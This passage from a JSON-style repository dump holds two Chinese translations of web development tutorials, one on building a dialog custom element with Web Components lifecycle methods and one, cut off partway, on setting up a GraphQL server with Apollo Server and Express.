    "content": "> * 原文地址：[Creating a Custom Element from Scratch](https://css-tricks.com/creating-a-custom-element-from-scratch/)\n> * 原文作者：[Caleb Williams](https://css-tricks.com/author/calebdwilliams/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)\n> * 译者：[ANFOUNNYSOUL](https://github.com/yzw7489757)\n> * 校对者：[portandbridge](https://github.com/portandbridge), [wznonstop](https://github.com/wznonstop)\n\n# 从 0 创建自定义元素\n\n在[上一篇文章](https://github.com/xitu/gold-miner/blob/master/TODO1/crafting-reusable-html-templates.md)，我们在文档中创建了 HTML 模板，希望它们在需要时才呈现，这让我们开始接触 Web 组件。\n\n接下来，我们将继续创建对话框组件的自定义元素版本，该自定义元素版本目前仅使用 `HTMLTemplateElement`。\n\n请在 [CodePen](https://codepen.io) 上查看由 Caleb Williams ([@calebdwilliams](https://codepen.io/calebdwilliams)) 创建的[带有脚本的模板对话框](https://codepen.io/calebdwilliams/pen/JzjLyQ/) Demo。\n\n因此，下一步我们将创建一个自定义元素，该元素实时使用我们的 `template#dialog-template` 元素。\n\n#### 系列文章：\n\n1.  [Web Components 简介](https://juejin.im/post/5c9a3cce5188252d9b3771ad)\n2.  [编写可复用的 HTML 模板](https://github.com/xitu/gold-miner/blob/master/TODO1/crafting-reusable-html-templates.md)\n3.  [从 0 开始创建自定义元素（**本文**）](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)\n4.  [使用 Shadow DOM 封装样式和结构](https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md)\n5.  [Web 组件的高阶工具](https://github.com/xitu/gold-miner/blob/master/TODO1/advanced-tooling-for-web-components/.md)\n\n* * *\n\n### 添加一个自定义元素\n\nWeb 组件的基础元素是**自定义元素**。该 `customElements` 的 API 为我们提供了创建自定义 HTML 标签的途径，这些标签可以在包含定义类的任何文档中使用。\n\n可以把它想象成 React 或 Angular 组件（例如 `<MyCard />`），但实际上它不依赖于 React 或 Angular。原生自定义组件是这样的：`<my-card></my-card>`。更重要的是，将它视为一个标准元素，可以在你的 React、Angular、Vue、[insert-framework-you’re-interested-in-this-week] 应用中使用，而不必大惊小怪。\n\n从本质上讲，一个自定义元素分为两个部分组成：一个**标签名称**和一个 **Class** 类扩展内置 `HTMLElement` 类。我们自定义元素的简易 demo 版本如下所示：\n\n```\nclass OneDialog extends HTMLElement {\n  connectedCallback() {\n    this.innerHTML = `<h1>Hello, World!</h1>`;\n  }\n}\n\ncustomElements.define('one-dialog', OneDialog);\n```\n\n注意：在整个自定义元素中，this 值是对自身自定义元素实例的引用。\n\n在上面的示例中，我们定义了一个符合标准的新 HTML 元素，`<one-dialog></one-dialog>`。它现在暂时还做不了什么...，在任何 HTML 文档中使用 `<one-dialog>` 标签将会创建一个带着 `<h1>` 标签显示 “Hello, World!” 的新元素。\n\n我们肯定想把它做的更 NB，很幸运。在[上一篇文章中](https://css-tricks.com/crafting-reusable-html-templates)，我们为弹出框创建模板，并且能够拿到模板，让我们在自定义元素中使用它。我们在该示例中添加了一个 script 标签来执行一些对话框魔术。我们暂时删除它，因为我们将把逻辑从 HTML 模板移到自定义元素类中。\n\n```\nclass OneDialog extends HTMLElement {\n  connectedCallback() {\n    const template = document.getElementById('one-dialog');\n    const node = document.importNode(template.content, true);\n    this.appendChild(node);\n  }\n}\n```\n\n现在，定义了自定义元素（`<one-dialog>`）并指示浏览器呈现包含在调用自定义元素的 HTML 模板中的内容。\n\n下一步是将我们的逻辑转移到组件类中。\n\n### 自定义元素生命周期方法\n \n与 React 或 Angular 一样，自定义元素具有**生命周期方法**。笔者已经向各位介绍过 `connectedCallback`，当我们的元素被添加到 DOM 的时候调用它。\n\n`connectedCallback` 与元素的 `constructor` 是分开的。函数用于设置元素的基本骨架，而 `connectedCallback` 通常用于向元素添加内容、设置事件监听器或以其他方式初始化组件。\n\n实际上，构造函数不能用于设计或修改或操作元素的属性，如果我们要使用对话框创建新实例，`document.createElement` 则会调用构造函数。元素的使用者需要一个没有插入属性或内容的简单节点。\n\n该 createElement 函数没有可以用于配置将返回的元素的选项。这是符合情理的，那么话说回来了，既然这个函数没有选项可以配置会返回的元素，那我们唯一的选择就是 `connectedCallback`。\n\n在标准内置元素中，元素的状态通常通过元素上存在的属性和这些属性的值来反映。对于我们的示例，我们将仅查看一个属性：`[open]`。为此，我们需要观察该属性的更改，我们需要 `attributeChangedCallback` 来做到这一点。只要其中一个元素构造函数 `observedAttributes` 之一的属性发生变化就会触发第二个生命周期方法。\n\n这可能听起来难以实现，但语法非常简单：\n\n```\nclass OneDialog extends HTMLElement {\n  static get observedAttributes() {\n    return ['open'];\n  }\n  \n  attributeChangedCallback(attrName, oldValue, newValue) {\n    if (newValue !== oldValue) {\n      this[attrName] = this.hasAttribute(attrName);\n    }\n  }\n  \n  connectedCallback() {\n    const template = document.getElementById('one-dialog');\n    const node = document.importNode(template.content, true);\n    this.appendChild(node);\n  }\n}\n```\n\n在上面的例子中，我们只关心属性是否设置，我们不关心具体的值（这类似于 HTML5 input 输入框上的 `required` 属性）。更新此属性时，我们更新元素的 `open` 属性。属性（property）存在于 JavaScript 对象上，HTML Elements 也具有属性（attribute）；这个生命周期方法可以帮助我们让两种属性保持同步。\n\n我们将 updater 包含在 `attributeChangedCallback` 内部的条件检查中，以查看新值和旧值是否相等。我们这样做是为了防止程序中出现无限循环，因为稍后我们将创建一个 getter 和 setter 属性，它将通过在元素的属性（property）更新时设置元素的属性（attribute）来保持属性（attribute）和属性（property）的同步。`attributeChangedCallback` 反向执行：当属性更改时更新属性。\n\n现在，开发者可以使用我们的组件，并且利用 `open` 属性决定对话框是否默认打开。为了使它更具动态性，我们可以在元素的 `open` 属性中添加自定义 getter 和 setter：\n\n```\nclass OneDialog extends HTMLElement {\n  static get boundAttributes() {\n    return ['open'];\n  }\n  \n  attributeChangedCallback(attrName, oldValue, newValue) {\n    this[attrName] = this.hasAttribute(attrName);\n  }\n  \n  connectedCallback() {\n    const template = document.getElementById('one-dialog');\n    const node = document.importNode(template.content, true);\n    this.appendChild(node);\n  }\n  \n  get open() {\n    return this.hasAttribute('open');\n  }\n  \n  set open(isOpen) {\n    if (isOpen) {\n      this.setAttribute('open', true);\n    } else {\n      this.removeAttribute('open');\n    }\n  }\n}\n```\n\ngetter 和 setter 将保证（HTML 元素节点上）的 `open` 特性和属性（在 DOM 对象上）的值同步。添加 `open` 特性会将 `element.open` 设置为 `true`，同理，将 `element.open` 设置为 `true` 会添加 `open` 属性。我们这样做是为了确保元素的状态由其属性反映出来。虽然在技术层面上不一定需要，但被认为是创建自定义元素的最优办法。\n\n虽然这难免引入一些样板文件，但是通过循环观察到的属性列表并使用 `Object.defineProperty` 创建一个保持这些属性同步的抽象类是一项相当简单的任务。\n\n```\nclass AbstractClass extends HTMLElement {\n  constructor() {\n    super();\n    // 检查观察到的属性是否已定义并具有长度\n    if (this.constructor.observedAttributes && this.constructor.observedAttributes.length) {\n      // 通过观察到的属性进行循环\n      this.constructor.observedAttributes.forEach(attribute => {\n        // 动态定义 getter/setter 原型\n        Object.defineProperty(this, attribute, {\n          get() { return this.getAttribute(attribute); },\n          set(attrValue) {\n            if (attrValue) {\n              this.setAttribute(attribute, attrValue);\n            } else {\n              this.removeAttribute(attribute);\n            }\n          }\n        }\n      });\n    }\n  }\n}\n\n// 我们可以扩展抽象类，而不是直接扩展 HTMLElement\nclass SomeElement extends AbstractClass { /** 省略 **/ }\n\ncustomElements.define('some-element', SomeElement);\n```\n\n上面的例子并不完美，它没有考虑实现像 `open` 这样的属性的可能性，这些属性没有被赋值，而仅仅依赖于属性的存在。做一个完美的版本将超出本文的范围。\n\n现在我们已经知道我们的对话框是否打开了，让我们添加一些逻辑来实际地进行显示和隐藏：\n\n```\nclass OneDialog extends HTMLElement {  \n  /** 省略 */\n  constructor() {\n    super();\n    this.close = this.close.bind(this);\n  }\n  \n  set open(isOpen) {\n    this.querySelector('.wrapper').classList.toggle('open', isOpen);\n    this.querySelector('.wrapper').setAttribute('aria-hidden', !isOpen);\n    if (isOpen) {\n      this._wasFocused = document.activeElement;\n      this.setAttribute('open', '');\n      document.addEventListener('keydown', this._watchEscape);\n      this.focus();\n      this.querySelector('button').focus();\n    } else {\n      this._wasFocused && this._wasFocused.focus && this._wasFocused.focus();\n      this.removeAttribute('open');\n      document.removeEventListener('keydown', this._watchEscape);\n      this.close();\n    }\n  }\n  \n  close() {\n    if (this.open !== false) {\n      this.open = false;\n    }\n    const closeEvent = new CustomEvent('dialog-closed');\n    this.dispatchEvent(closeEvent);\n  }\n  \n  _watchEscape(event) {\n    if (event.key === 'Escape') {\n        this.close();   \n    }\n  }\n}\n```\n\n这里发生了很多事情，让我们来梳理一下。我们要做的第一件事就是获取我们的容器，在 `isOpen` 的基础上切换 `.open` 类。为了使我们的元素可以访问，我们还需要切换 `aria-hidden` 属性。\n\n如果对话框已经打开了，那么我们希望保存对先前聚焦元素的引用。这是为了考虑可访问性标准。我们还将一个 keydown 监听器添加到名为 `WatEscape` 的文档中，该文档在构造函数中绑定元素的 `this`，其模式类似于 React 处理类组件中的方法调用的方式。\n\n我们这样做不仅是为了确保正确绑定 `this.close`，还因为 `Function.prototype.bind` 返回带绑定调用栈的函数的实例。通过在构造函数中保存对新绑定方法的引用，我们可以在对话框断开时删除事件（稍后将详细介绍）。最后，我们将注意力集中在元素上，并将焦点设置在 shadow root 中的适当元素上。\n\n我们还创建了一个很好的小实用工具方法来关闭我们的对话框，它分派一个自定义事件来通知某个监听器对话框已经关闭。\n\n如果元素是关闭的（即 `!open`），我们检查以确保 `this._wasFocused` 属性已定义并具有 `focus` 方法并调用该方法以将用户的焦点返回到常规 DOM。然后我们删除我们的事件监听器以避免任何内存泄漏。\n\n说到为自己的代码做好清理善后，就自然也要说下我们采用了另一种生命周期方法：`disconnectedCallback`。`disconnectedCallback` 与 `connectedCallback` 相反，因为一旦从 DOM 中删除了元素，该方法就会被调用，它允许我们清理附加到元素的任何事件监听器或 `MutationObservers`。\n\n碰巧的是，我们还有几个事件侦听器要连接起来：\n\n```\nclass OneDialog extends HTMLElement {\n  /** Omitted */\n  \n  connectedCallback() {    \n    this.querySelector('button').addEventListener('click', this.close);\n    this.querySelector('.overlay').addEventListener('click', this.close);\n  }\n  \n  disconnectedCallback() {\n    this.querySelector('button').removeEventListener('click', this.close);\n    this.querySelector('.overlay').removeEventListener('click', this.close);\n  }  \n}\n```\n\n现在我们有一个运行良好，大部分可访问的对话框元素。我们可以做一些修饰，比如将焦点集中在元素上，但这超出了我们在本文学习的范围。\n\n还有一个生命周期方法 `adoptedCallback`。它不适用于我们的元素，其作用是元素被采用（插入）到 DOM 的另一部分时触发。\n\n在下面的示例中，您将看到我们的模板元素正被一个标准元素 `<one-dialog>` 所使用。\n\n请在 [CodePen](https://codepen.io) 上查看由 Caleb Williams ([@calebdwilliams](https://codepen.io/calebdwilliams)) 创建的[对话框组件使用模板](https://codepen.io/calebdwilliams/pen/vbVXqv/) Demo。\n\n### 另一个概念：非演示组件\n\n到目前为止，我们创建的 `<one-template>` 是一个典型的自定义元素，它包含了当元素包含在文档中时被插入到文档中的标记和行为。然而，并不是所有的元素都需要直观地呈现。在 React 生态系统中，组件通常用于管理应用程序状态或其他一些主要功能，像[react-redux](https://redux.js.org/basics/usage-with-react) 里的 `<Provider />`。\n\n让我们想象一下，我们的组件是工作流中一系列对话框的一部分。当一个对话框关闭时，下一个对话框应该打开。我们可以创建一个容器组件来监听我们的 `dialog-closed` 事件并在整个工作流程中进行：\n\n```\nclass DialogWorkflow extends HTMLElement {\n  connectedCallback() {\n    this._onDialogClosed = this._onDialogClosed.bind(this);\n    this.addEventListener('dialog-closed', this._onDialogClosed);\n  }\n\n  get dialogs() {\n    return Array.from(this.querySelectorAll('one-dialog'));\n  }\n\n  _onDialogClosed(event) {\n    const dialogClosed = event.target;\n    const nextIndex = this.dialogs.indexOf(dialogClosed);\n    if (nextIndex !== -1) {\n      this.dialogs[nextIndex].open = true;\n    }\n  }\n}\n```\n\n这个元素没有任何表示逻辑，但它充当了应用程序状态的控制器。只需稍加努力，我们就可以重新创建类似 Redux 的状态管理系统，只使用一个自定义元素，可以在 React 的 Redux 容器组件所在的同一个应用程序中管理整个应用程序的状态。\n\n### 这是对自定义元素的深入了解\n\n现在我们对自定义元素有了很好的理解，我们的对话框开始融合在一起。但它仍然存在一些问题。\n\n请注意，我们必须添加一些 CSS 来重新设置对话框按钮，因为元素的样式会干扰页面的其余部分。虽然我们可以利用命名策略（如 BEM）来确保我们的样式不会与其他组件产生冲突，但是有一种更友好的方式来隔离样式。那就是 shadow DOM。本文系列 Web Components 专题的下一篇文章就会谈到它。\n\n**我们需要做的另一件事是为每个组件定义一个新模板，或者为我们的对话框找到一些切换模板的方法。就目前而言，每页只能有一个对话框类型，因为它使用的模板必须始终存在。因此，我们要么需要注入动态内容的方法，要么需要替换模板的方法。**\n\n在下一篇文章中，我们将研究如何通过使用 shadow DOM 合并样式和内容封装来提高我们刚刚创建的 `<one-dialog>` 元素的可用性。\n\n#### 系列文章：\n\n1.  [Web Components 简介](https://juejin.im/post/5c9a3cce5188252d9b3771ad)\n2.  [编写可重复使用的 HTML 模板](https://github.com/xitu/gold-miner/blob/master/TODO1/crafting-reusable-html-templates.md)\n3.  [从 0 开始创建自定义元素（**本文**）](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)\n4.  [使用 Shadow DOM 封装样式和结构](https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md)\n5.  [Web 组件的高阶工具](https://github.com/xitu/gold-miner/blob/master/TODO1/advanced-tooling-for-web-components.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/creating-a-graphql-server-with-nodejs.md",
    "content": "> * 原文地址：[Creating a GraphQL server with NodeJS](https://medium.com/crowdbotics/creating-a-graphql-server-with-nodejs-ef9814a7e0e6)\n> * 原文作者：[Aman Mittal](https://medium.com/@amanhimself?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-graphql-server-with-nodejs.md](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-graphql-server-with-nodejs.md)\n> * 译者：[Raoul1996](https://github.com/Raoul1996)\n> * 校对者：[KarthusLorin](https://github.com/KarthusLorin), [weibinzhu](https://github.com/weibinzhu)\n\n# 使用 NodeJS 创建一个 GraphQL 服务器\n\n## Hello World！在这个 GraphQL 的教程中，你可以学到如何使用 Apollo Server 库 2.0 版本来构建一个基于 NodeJS 和 Experss 的 GraphQL 服务器。\n\n![](https://cdn-images-1.medium.com/max/2000/1*mbwU_n49CU8SEJyLPaTAUw.png)\n\n当谈到客户端和应用程序服务器之间的网络请求时，REST（[**表现层状态转换**](https://zh.wikipedia.org/wiki/%E8%A1%A8%E7%8E%B0%E5%B1%82%E7%8A%B6%E6%80%81%E8%BD%AC%E6%8D%A2)的代表）是连接二者最常用的选择之一。在 [REST API](https://medium.com/crowdbotics/building-a-rest-api-with-koajs-417c276929e2) 的世界中，一切都围绕着如何把资源作为可访问的 URL。然后我们会进行 CURD 操作（新建、读取、更新、删除），这些操作是 HTTP 的基本方法，如 GET、POST、PUT 和 DELETE，来与数据进行交互。\n\n这是一个典型的 REST 请求的例子：\n\n```http\n// 请求示例\nhttps://swapi.co/api/people/\n\n// 上面请求的 JSON 格式响应\n{\n\t\"results\": [\n\t\t{\n\t\t\t\"name\": \"Luke Skywalker\",\n\t\t\t\"gender\": \"male\",\n\t\t\t\"homeworld\": \"https://swapi.co/api/planets/1/\",\n\t\t\t\"films\": [\n\t\t\t\t\"https://swapi.co/api/films/2/\",\n\t\t\t\t\"https://swapi.co/api/films/6/\",\n\t\t\t\t\"https://swapi.co/api/films/3/\",\n\t\t\t\t\"https://swapi.co/api/films/1/\",\n\t\t\t\t\"https://swapi.co/api/films/7/\"\n\t\t\t],\n    }\n\t\t{\n\t\t\t\"name\": \"C-3PO\",\n\t\t\t\"gender\": \"n/a\",\n\t\t\t\"homeworld\": \"https://swapi.co/api/planets/1/\",\n\t\t\t\"films\": [\n\t\t\t\t\"https://swapi.co/api/films/2/\",\n\t\t\t\t\"https://swapi.co/api/films/5/\",\n\t\t\t\t\"https://swapi.co/api/films/4/\",\n\t\t\t\t\"https://swapi.co/api/films/6/\",\n\t\t\t\t\"https://swapi.co/api/films/3/\",\n\t\t\t\t\"https://swapi.co/api/films/1/\"\n\t\t\t],\n\t\t}\n  ]\n}\n```\n\nREST API 的响应格式未必会是 JSON，但是这是目前大多数 API 的首选方法。**除了 REST，还出现了另一种处理网络请求的方法：GraphQL。它于 2015 年开源，正在改变着开发人员在服务器端编写API以及在客户端处理API的方式**。并由 Facebook 开发并积极维护。\n\n### REST 的弊端\n\nGraphQL 是一种用于开发 API 的查询语言。和 REST（一种架构或者“一种做事方式”）相比，GraphQL 的开发基于一个理念：客户端每次仅从服务端请求所需要的项目集合。\n\n在上面的例子中，使用了 REST 或者其他类似架构。我们请求 Star Wars 系列电影中 Luke Skywalker 出现过的电影时，我们得到了一系列的 `电影` 或者 `homeworld` 的名称，他们还包含了不同的 API URL，引导我们去了解不同 JSON 数据集的详细信息。这肯定是一个过度获取（over fetching）的例子。客户端为了去获取人物 Luke Skywalker 出现在电影中的详情以及他家乡星球的名称，只能去向服务端发起多个请求。\n\n使用 GraphQL，就可以将其解析为单个网络请求。转到 API 网址：`https://graphql.github.io/swapi-graphql/`，查看运行以下查询（query）看看。\n\n**注意：在下面的例子中，你可以不必理会 GraphQL API 幕后的工作方式。我将在本教程后面逐步构建你自己的（可能是第一个）GraphQL API。**\n\n```graphql\n{\n\tallPeople {\n\t\tedges {\n\t\t\tnode {\n\t\t\t\tname\n\t\t\t\tgender\n\t\t\t\thomeworld {\n\t\t\t\t\tname\n\t\t\t\t}\n\t\t\t\tfilmConnection {\n\t\t\t\t\tedges {\n\t\t\t\t\t\tnode {\n\t\t\t\t\t\t\ttitle\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n我们将获取我们需要的数据。例如角色的名称、他们的性别（`gender`）、家园（`homeworld`），以及他们出现的电影（`films`）的标题。运行上述查询，你将获得以下结果：\n\n```\n{\n\t\"data\": {\n\t\t\"allPeople\": {\n\t\t\t\"edges\": [\n\t\t\t\t{\n\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\"name\": \"Luke Skywalker\",\n\t\t\t\t\t\t\"gender\": \"male\",\n\t\t\t\t\t\t\"homeworld\": {\n\t\t\t\t\t\t\t\"name\": \"Tatooine\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"filmConnection\": {\n\t\t\t\t\t\t\t\"edges\": [\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"A New Hope\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"The Empire Strikes Back\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"Return of the Jedi\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"Revenge of the Sith\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"The Force Awakens\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t]\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\"name\": \"C-3PO\",\n\t\t\t\t\t\t\"gender\": \"n/a\",\n\t\t\t\t\t\t\"homeworld\": {\n\t\t\t\t\t\t\t\"name\": \"Tatooine\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"filmConnection\": {\n\t\t\t\t\t\t\t\"edges\": [\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"A New Hope\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"The Empire Strikes Back\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"Return of the Jedi\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"The Phantom Menace\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"Attack of the Clones\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"node\": {\n\t\t\t\t\t\t\t\t\t\t\"title\": \"Revenge of the Sith\"\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t]\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t]\n\t\t}\n\t}\n}\n```\n\n如果应用程序的客户端正在触发上述 GraphQL URL，它只需要在网络上发一个请求就可以得到所需结果。从而消除了任何会导致过度获取或发送多个请求的可能性。\n\n### 先决条件\n\n要学习本课程，你只需要在本地计算机上安装 `nodejs` 和 `npm` 即可。\n\n*   [Nodejs](http://nodejs.org) `^8.12.0`\n*   npm `^6.4.1`\n\n### GraphQL 简述\n\n简而言之，**GraphQL** 是一种用于阐述如何请求 *data* 的语法，通常用于从客户端检索数据（也称为 *query*）或者对其进行更改（也称为 *mutation*）。\n\nGraphQL 几乎没有什么定义特征：\n\n* 它允许客户端准确指定所需的数据。这也称为声明性数据提取。\n* 对网络层没有特殊要求\n* 更容易组合来自多个源的数据\n* 在以 schema 和 query 的形式声明数据结构时，它使用强类型系统。这有助于在发送网络请求之前校验查询。\n\n### GraphQL API 的构建模块\n\nGraphQL API 有四个构建模块：\n\n*   schema\n*   query\n*   mutations\n*   resolvers\n\n**Schema** 以对象的形式在服务器上定义。每个对象对应于数据类型，以便于去查询他们。例如：\n\n```\ntype User {\n\tid: ID!\n\tname: String\n\tage: Int\n}\n```\n\n上面的 schema 定义了一个用户对象的样子。其中必需的字段 `id` 用 `!` 符号标识。还包含其他字段，例如 *string* 类型的 `name` 和 *integer* 类型的 `age`。这也会在查询数据的时候对 `schema` 进行验证。\n\n**Queries** 是你用来向 GraphQL API 发出请求的方法。例如，在我们上面的示例中，就像我们获取 Star Wars 相关的数据时那样。让我们简化一下，如果在 GraphQL 中查询，就是在查询对象的特定字段。例如，使用上面相同的 API，我们能获取 Star Wars 中所有角色的名称。下面你可以看到差异，在图片的左侧是查询，右侧是结果。（译者注：原文是 on the right-hand side is the image，译者认为不是很合适）\n\n![](https://cdn-images-1.medium.com/max/1000/1*L-Z_EF1tNkq4jUhsopHasw.png)\n\n使用 GraphQL 查询的好处是它们可以嵌套到你想要的深度。这在 REST API 中很难做到。（在 REST API 中）操作变得复杂得多。\n\n下面是一个更复杂的嵌套查询示例：\n\n![](https://cdn-images-1.medium.com/max/1000/1*ug3h4hZmAeuNHyy93Ygy2Q.png)\n\n**Mutations:** 在 REST 架构中，要修改数据，我们要么使用 `POST` 来添加数据，要么使用 `PUT` 来更新现有字段的数据。在 GraphQL 中，整体的概念是类似的。你可以发送一个 query 来在服务端执行写入操作。但是。这种形式的查询称为 Mutation。\n\n**Resolvers** 是 schema 和 data 之间的纽带。它们提供可用于通过不同操作与数据库交互的功能。\n\n**在这个教程中，你将学习用我们刚刚学到的构件，来使用 [_Nodejs_](https://www.crowdbotics.com/build/node-js?utm_source=medium&utm_campaign=nodeh&utm_medium=node&utm_content=koa-rest-api) 构建 GraphQL 服务器。**\n\n### Hello World！使用 GraphQL\n\n现在我们来写我们第一个 GraphQL 服务器。本教程中，我们将使用 [Apollo Server](https://www.apollographql.com/docs/apollo-server/)。我们需要为 Apollo Server 安装三个包才能使用现有的 Express 应用程序作为中间件。Apollo Server 的优点在于它可以与 Node.js 的几个流行框架一起使用：Express、[Koa](https://medium.com/crowdbotics/building-a-rest-api-with-koajs-417c276929e2) 和 [Hapi](https://medium.com/crowdbotics/setting-up-nodejs-backend-for-a-react-app-fe2219f26ea4)。Apollo 本身和库无关，因此在客户端和服务器应用程序中，它可以和许多第三方库连接。\n\n打开你的终端安装以下依赖：\n\n```bash\n# 首先新建一个空文件夹\nmkdir apollo-express-demo\n\n# 然后初始化\nnpm init -y\n\n# 安装需要的依赖\nnpm install --save graphql apollo-server-express express\n```\n\n让我们简要了解下这些依赖的作用。\n\n* `graphql` 是一个支持库，并且在我们这里是一个必要的模块\n* 添加到现有应用程序中的 `apollp-server-express` 是相应的 HTTP 服务器支持包\n* `express` 是 Nodejs 的 web 框架\n\n你可以在下面的图中看到我安装了全部的依赖，没有出现任何错误。\n\n![](https://cdn-images-1.medium.com/max/800/1*gCozaTuzY6DHaPG4Ya43zA.png)\n\n在你项目的根路径下，新建一个名字为 `index.js`，包含以下代码的文件。\n\n```js\nconst express = require('express');\nconst { ApolloServer, gql } = require('apollo-server-express');\n\nconst typeDefs = gql`\n\ttype Query {\n\t\thello: String\n\t}\n`;\n\nconst resolvers = {\n\tQuery: {\n\t\thello: () => 'Hello world!'\n\t}\n};\n\nconst server = new ApolloServer({ typeDefs, resolvers });\n\nconst app = express();\nserver.applyMiddleware({ app });\n\napp.listen({ port: 4000 }, () =>\n\tconsole.log(`🚀 Server ready at http://localhost:4000${server.graphqlPath}`)\n);\n```\n\n这是我们服务器文件的起点。开始我们仅仅只需要 `express` 模块。`gql` 是一个模板文字标记，用于将 GraphQL schema 编写为类型。schema 由类型定义组成，并且强制包含一个用于读取数据的 Query 类型，用于读取数据。它还可以包含表示其他数据字段的字段和嵌套字段。在我们上面的例子中，我们定义了 `typeDefs` 来编写 graphQL 的 schema。\n\n然后 `resolvers` 映入眼帘。Resolver 用于从 schema 中返回字段的数据。在我们的示例中，我们定义了一个 resolver，它将函数 `hello()` 映射到我们的 schema 上的实现。接下来，我们创建一个 `server`，它使用 `ApolloServer` 类来实例化并启动服务器。由于我们使用了 Express，所以我们需要集成 `ApolloServer` 类。通过 `applyMiddleware()` 作为 `app` 来传递它，来添加 Apollo Server 的中间件。这里的 `app` 是 Express 的一个实例，代表了现有的应用程序。\n\n最后，我们使用 Express 模块提供的 `app.listen()` 来引导服务器。要运行服务器，只需要打开 terminal 并运行命令 `node index.js`。现在，从浏览器窗口访问 url：`http://localhost:4000/graphql` 来看看它的操作。\n\nApollo Server 为你设置了 GraphQL Playground，供你快速开始运行 query，探索 schema，如下所示。\n\n![](https://cdn-images-1.medium.com/max/1000/1*ba4JULFAk5VbSFRsNxof8g.png)\n\n要运行一个 query，在左侧编辑空白部分，输入以下 query。然后按中间的 ▶ （play）按钮。\n\n![](https://cdn-images-1.medium.com/max/1000/1*SGaIF-GZ0E0QLg2K6sJ7CA.png)\n\n右侧的 schema 卡描述了我们查询 `hello` 的数据类型。这直接来自我们服务器中定义的 `typeDefs`。\n\n![](https://cdn-images-1.medium.com/max/800/1*3v_Uh_k2gjC-XueD9PhWvQ.png)\n\n**瞧**！你刚创建了第一个 GraphQL 服务器。现在让我们拓展下我们对现实世界的认知。\n\n### 使用 GraphQL 构建 